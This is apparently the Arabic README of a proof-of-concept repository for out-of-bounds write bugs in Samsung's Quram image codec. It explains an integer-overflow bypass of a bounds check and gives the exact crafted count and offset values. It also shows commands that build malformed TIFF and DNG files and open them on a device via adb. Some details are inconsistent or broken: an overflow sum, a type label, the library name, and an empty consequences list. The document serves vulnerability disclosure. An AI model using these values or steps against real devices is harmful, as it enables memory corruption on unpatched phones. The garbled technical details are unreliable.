
سامسونج: إثبات مفهوم (PoC) لكتابة خارج النطاق في libimagecodec.quram.so
يحتوي هذا المستودع على ملفات إثبات المفهوم (PoC) المفاهيمية التي توضح ثغرات الكتابة خارج الحدود (OOB) في مكتبة ترميز الصور Quramsoft (libimagecodec.quram.so) المستخدمة على أجهزة Samsung التي تعمل بنظام Android.
| CVE | الصيغة | النوع | الخطورة | CVSS 4.0 | تم التصحيح في |
|---|---|---|---|---|---|
| CVE-2026-21045 | TIFF | كتابة خارج الحدود (CWE-787) | حرجة | 8.4 | SMR Jul-2026 Release 1 |
| CVE-2026-21048 | DNG | كتابة خارج الحدود (CWE-787) | عالية | — | SMR Jul-2026 Release 1 |
/system/lib64/libimagecodec.quram.soتقع الثغرة في دالة تحليل وسوم IFD (دليل ملف الصورة) المسماة WINKJ_ReadExifField (الإزاحة 0x13a0a8 في الملف الثنائي 64-bit). تعالج هذه الدالة إدخالات IFD الفردية في ملفات TIFF/EXIF، وكل إدخال عبارة عن بنية من 12 بايت:
Offset Size Field
------ ---- -----
0 2 Tag ID
2 2 Data Type (1=BYTE, 2=ASCII, 3=SHORT, 4=LONG, 5=RATIONAL, etc.)
4 4 Count (number of values)
8 4 Value / Offset to data
عندما يكون count * element_size > 4، يتم التعامل مع حقل Value ذي الـ 4 بايت كـ إزاحة ملف (تشير إلى مكان البيانات الفعلية). يقوم الكود بعد ذلك بإجراء فحص حدود عند العنوان 0x13a258:
add w8, w6, w7 ; w8 = value_offset + (count * element_size) [32-bit]
cmp w8, w5 ; compare against remaining buffer size
b.ls ok ; if w8 <= buffer_size, proceed
تتمثل الثغرة في فيض عدد صحيح غير مُوقَّع 32-bit في عملية الجمع. إذا صاغ المهاجم value_offset وcount * element_size بحيث يلتف مجموعهما إلى قيمة صغيرة، فإن الفحص ينجح على الرغم من أن الوصول الفعلي للذاكرة عند base + value_offset يقع خارج الحدود.
مثال (نوع UNDEFINED، element_size = 1):
عملية الجمع 32-bit 0x17FFF + 0xFFFF0001 = 0x10008000 تُقتطع إلى 0x8000، وهو ما يساوي buffer_size. ينجح الفحص، لكن مؤشر البيانات الفعلي (base + 0x17FFF) يقع على بُعد 0x7FFF بايت بعد نهاية المخزن المؤقت المُخصص.
TIFFReadDirectory / WINKJ_ReadTiffInfo
└─> WINKJ_ReadTiffIFDInfo (allocates IFD buffer)
└─> for each IFD entry:
└─> WINKJ_ReadExifField (parses entry, reads value data)
└─> Switch on Data Type (jump table at 0x13a15c)
├─ Type 0 (BYTE/ASCII/UNDEFINED): handler at 0x13a15c
├─ Type 3/8 (SHORT/SSHORT): handler at 0x13a1d0
├─ Type 4/9/11 (LONG/SLONG/FLOAT): handler at 0x13a17c
└─ Type 5/10/12 (RATIONAL/SRATIONAL/DOUBLE): handler at 0x13a1ac
Each handler -> reads data at offset -> bounds check at 0x13a258
| الملف | الوصف |
|---|---|
cve-2026-21045_tiff_oob_poc.py | ينشئ poc_crash.tif — ملف TIFF تالف يُطلق كتابة خارج الحدود عبر وسم ASCII مع count/offset مُصطنَع |
cve-2026-21048_dng_oob_poc.py | ينشئ poc_crash.dng — ملف DNG تالف يُطلق كتابة خارج الحدود عبر وسم UNDEFINED مع count/offset مُصطنَع |
# Generate TIFF PoC
python3 cve-2026-21045_tiff_oob_poc.py -o payload.tif
# Generate DNG PoC
python3 cve-2026-21048_dng_oob_poc.py -o payload.dng
# Transfer to device and trigger (e.g., via Gallery/MMS)
adb push payload.tif /sdcard/Download/
adb shell am start -a android.intent.action.VIEW -d file:///sdcard/Download/payload.tif -t image/tiff
على جهاز غير مُصحَّح (تصحيح أمني أقدم من يوليو 2026)، من المتوقع أن يتسبب فتح ملف TIFF/DNG المُصطنَع في معرض Samsung (أو أي تطبيق يستخدم وحدة فك ترميز Quram) في إفساد ذاكرة الكومة (heap)، مما قد يؤدي إلى:
على جهاز مُصحَّح (SMR Jul-2026 أو أحدث)، يجب إما رفض الصورة باعتبارها غير صالحة أو معالجتها بأمان. قد يشير الانهيار على جهاز مُصحَّح بالكامل إلى مشكلة منفصلة غير مُصحَّحة.
File: libimagecodec.quram.so (64-bit)
SHA256: (verify against your copy)
NDK: r23c (Android 21)
Built: 2021-12-31 (placeholder date)
Soname: libimagecodec.quram.so
مُستخرج من WINKJ_ReadExifField:
جميع الأنواع ذات element_size = 1 (BYTE، ASCII، UNDEFINED) تشترك في نفس المعالج وتكون عرضة بنفس القدر لتجاوز الفحص عبر فيض الأعداد الصحيحة.
تُقدَّم إثباتات المفهوم هذه لأغراض تعليمية وبحوث أمنية فقط. وهي توضح آلية الثغرة لمساعدة المستخدمين والمطورين على فهم المخاطر. لا تستخدمها ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها.
| الحقل | القيمة (hex) | العشري |
|---|
count | 0xFFFF0001 | 4,294,901,761 |
element_size | 1 | 1 |
count * element_size | 0xFFFF0001 ≡ -65535 (mod 2³²) | 4,294,901,761 |
value_offset | 0x00017FFF | 98,303 |
value_offset + count*size | 0x00008000 (فيض!) | 32,768 |
buffer_size | 0x00008000 | 32,768 |
نتيجة الفحص: 0x8000 <= 0x8000 | ✅ نجاح | — |
الوصول الفعلي للذاكرة: base + 0x17FFF | 0x7FFF بايت بعد نهاية المخزن المؤقت | ❌ خارج الحدود |
| الدالة | العنوان (64-bit) | الحجم | الغرض |
|---|
WINKJ_ReadExifField | 0x13a0a8 | 912 | يحلل إدخال IFD الفردي (يحتوي على الثغرة) |
WINKJ_ReadTiffIFDInfo | 0x139d28 | 896 | يقرأ جميع إدخالات IFD |
WINKJ_ReadTiffInfo | 0x139ad4 | 596 | محلل معلومات TIFF عالي المستوى |
WINKJ_GetTiffInfo | 0x1393fc | 1752 | نقطة الدخول الرئيسية لتحليل TIFF |
decodeTIFF | 0x1a2adc | 580 | يفك ترميز صورة TIFF عبر libtiff |
getTIFFImageInfo | 0x1a2d20 | 508 | يحصل على بيانات تعريف صورة TIFF |
copySubImageBuffer | 0x0b2824 | 324 | ينسخ منطقة الصورة الفرعية |
TIFFReadDirectory | 0x1aac78 | 5896 | قارئ الدليل في libtiff 4.6.0 |
_TIFFMultiply32 | 0x1a2f1c | 56 | فحص ضرب 32-bit آمن |
_TIFFMultiply64 | 0x1a2f58 | 48 | فحص ضرب 64-bit آمن |
| النوع | الاسم | حجم العنصر | عنوان المعالج |
|---|
| 1 | BYTE | 1 | 0x13a15c |
| 2 | ASCII | 1 | 0x13a15c |
| 3 | SHORT | 2 | 0x13a1d0 |
| 4 | LONG | 4 | 0x13a17c |
| 5 | RATIONAL | 8 | 0x13a1ac |
| 6 | SBYTE | 1 | 0x13a15c |
| 7 | UNDEFINED | 1 | 0x13a15c |
| 8 | SSHORT | 2 | 0x13a1d0 |
| 9 | SLONG | 4 | 0x13a17c |
| 10 | SRATIONAL | 8 | 0x13a1ac |
| 11 | FLOAT | 4 | 0x13a17c |
| 12 | DOUBLE | 8 | 0x13a1ac |
| CVE | الوصف | الحالة |
|---|
| CVE-2025-58477 | كتابة خارج الحدود في تحليل وسوم IFD في libimagecodec.quram.so (SMR Dec-2025) | ✅ مُصحَّحة |
| CVE-2026-20973 | قراءة خارج الحدود في libimagecodec.quram.so (SMR Jan-2026) | ✅ مُصحَّحة |
| CVE-2026-21045 | كتابة خارج الحدود في تحليل TIFF في libimagecodec.media.quram.so (SMR Jul-2026) | ⚠️ غير مُصحَّحة لديّ |
| CVE-2026-21048 | كتابة خارج الحدود في تحليل DNG في libimagecodec.media.quram.so (SMR Jul-2026) | ⚠️ غير مُصحَّحة لديّ |
| CVE-2026-4775 | فيض عدد صحيح مُوقَّع في libtiff 4.6.0 putcontig8bitYCbCr44tile | ⚠️ غير مُصحَّحة لديّ |
| CVE-2024-7006 | إلغاء مرجعية NULL في libtiff tif_dirinfo.c | ✅ تم إصلاحها في 4.6.1 |